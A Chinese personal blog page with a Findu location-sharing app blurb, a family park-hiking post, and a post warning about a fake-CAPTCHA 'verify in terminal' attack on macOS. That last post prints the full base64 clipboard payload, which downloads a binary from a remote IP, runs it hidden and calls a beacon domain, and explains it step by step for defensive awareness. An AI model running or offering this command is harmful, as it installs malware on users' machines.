  开启共享后按你设定的间隔上报位置；可查看自己与好友的足迹轨迹，回顾行程。追随中的实时位置不会写入历史足迹。

• 实时消息
  文字、语音、图片、视频、位置、名片与文件，和好友保持顺畅沟通。消息推送可在未打开应用时提醒新动态。

• 好友与分组
  搜索添加好友、申请与备注；用分组管理关系，并可按分组控制「谁可以看我的位置」。

• 隐私权限
  总开关、分组可见、单好友授权、陌生人是否可见等细粒度控制，未经你允许，他人无法随意查看你的位置。

——————

更多能力

• 可调节定位策略：支持更高频率的位置更新，让好友更及时地看到你的进度；也可选择更省电的间隔。请在「我的 → 位置设置」中按需调整。
• 后台持续共享：在你授权「始终」定位并开启位置共享的前提下，应用进入后台仍可按设置继续上报；你可随时关闭共享。
• CarPlay（仅 iPhone）：连接车机后可查看好友位置，并在手机或车机上开始导航、查看追随。
• 多语言：支持简体中文与 English。

位置共享、好友与地图为免费核心能力；即时消息部分功能可能需一次性开通，详见应用内说明。

——————

温馨提示

Findu 的地图刷新与好友定位会使用 GPS / 定位服务。开启位置共享并在后台保持运行时，相比普通操作会消耗更多电量，可能影响续航。长时间使用定位会加快耗电。

根据你的设置，应用可能在未打开界面时仍获取位置（用于共享给授权好友），这也会加速电量消耗。建议按实际需要选择上报间隔，外出结束及时关闭共享。

位置信息可能存在延迟或不准确，请勿将本应用作为唯一的安全或应急依据。

——————

隐私承诺

位置属于敏感信息。Findu 仅在双方同意与你配置的权限范围内展示位置；你可以随时关闭上报、调整分组与单好友可见范围。我们不会向无权限用户展示你的实时位置，也不会出售你的个人信息。

iOS链接：https://apps.apple.com/cn/app/findu/id1130623587

安卓apk:https://app.zhongxiaojie.cn/app/findu/android/

官网 https://www.findu.co

竹子庵

obaby — Fri, 09 Oct 2026 01:58:57 +0000

十一假期虽然没有远行，就近还是稍微转悠了一圈，多近呢？大约十来公里的路程吧。

没到假期的时候，宝子就开始各种打卡任务：跳绳、仰卧起坐、英语、特色活动等等。当然，带着宝子到处溜达并不是为了完成作业，纯粹就是觉得宝子应该在外面多待会儿，接收阳光多运动，仅此而已。

竹子庵这个公园，听到过很多次了，但是却一直并未涉足，公园距离世博园不远，多数的时间都是去世博园转转。去世博园的主要原因是里面有各种游乐设施，对于孩子来说，这些东西比一个纯粹的公园更有吸引力。

早上吃过早饭，驱车到公园的时候公园停车场已经满了，门口有几辆车在排队。看右侧有个停车场，牌子上写着『停车费封顶十元』，看到这个还以为是按小时收费的，直到离开的时候才发现进去就是10块，说封顶倒是也没错。

从车上拿了个自拍杆，遥控器却死活没有反应，想来是电池没电了。又从公园门口跑回去把自拍杆放回了车上。

沿着上山的路一路前行，这次选的是左侧的道路，选这个道路主要原因是看有个箭头上面写着『三清洞』。

爬到了第一个山顶也没有看到三清洞的影子。

直到从一个山头下来，进入另外一个山头，才找到那个所谓的三清洞。

宝子说后面那个牌子说80米，肯定是落下一个0，这都走了老远了。

虽然看起来高度不高，但是这个高度，掉下去肯定也得青一块紫一块的。

竹子庵，美中不足的是缺少点灵气，没有水，如果有条潺潺小溪，那么真的就山清水秀了。

竹子庵公园，转了半天，全没有转到竹子庵的正门，应该是在另外一侧了。山的高度却比小区东面的象耳山高了不少，海拔到了350米，沿海的山头，海拔不高，但是爬升高度也有260多米，山势起伏也比较明显，爬起来多少还是需要比较好的体力的。

至于象耳山，那个高度爬起来就so easy啦，毕竟自己穿高跟鞋也能轻松拿捏。

https://zhongxiaojie.cn/wp-content/uploads/2026/10/VID_585.mp4

针对mac 的验证码攻击

obaby — Thu, 08 Oct 2026 10:48:20 +0000

今天想搜索下载个jaguar的壁纸，搜索来搜索区找到一张挺好看的。

结果点击打开相册之后，出现了一个非常奇怪的东西。让在终端中验证验证码，这个套路似曾相识啊，去年的时候写过一篇关于ps1验证验证码的文章~~（在运行窗口中执行命令，远程验证验证码，文章清空已经删除了）~~。

https://zhongxiaojie.cn/wp-content/uploads/2026/10/Jietu20261008-172412-HD.mp4

粘贴板中所谓的验证码的内容：

echo "Y3VybCAtcyAtbyAvdG1wL2Nocm9tZSBodHRwOi8vMTA5LjIzOC44Ny4xMTEvZC91bml4NzIwNDAzNTU7IGNobW9kICt4IC90bXAvY2hyb21lOyAvdG1wL2Nocm9tZSA+IC9kZXYvbnVsbCAyPiYxICYgZGlzb3du" | base64 -d | bash; curl -fsS 'https://fuck(这是加的前缀)-cleanavcheskre.com/x/Kdh' >/dev/null

解密之后的代码内容：

第一部分（Base64 解码后）


curl -s -o /tmp/chrome http://109.238.87.*****/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown （地址已经处理了）
它做四件事：

用 curl -s 静默下载 http://109.238.87.*****/d/unix72040355，保存为 /tmp/chrome。文件名叫 chrome，只是伪装，不是浏览器。
chmod +x 给这个文件加上可执行权限。
直接运行它，标准输出和错误都丢进 /dev/null，所以终端上看不到任何报错。
末尾的 & disown 让它转入后台，并且脱离当前 shell，关掉终端后进程仍会继续跑。
第二部分（明文）


curl -fsS 'https://fuck(这是加的前缀)-cleanavcheskre.com/x/Kdh' >/dev/null
再向 fuck(这是加的前缀)-cleanavcheskre.com 发一次静默请求，失败也不报错。常见用途是确认脚本已被执行，或再拉下一阶段内容。

如果不小心在终端执行了，那么大概率这个木马就会运行在你的电脑上了。

不得不说，现在这些做灰产黑产的，还真是有创意。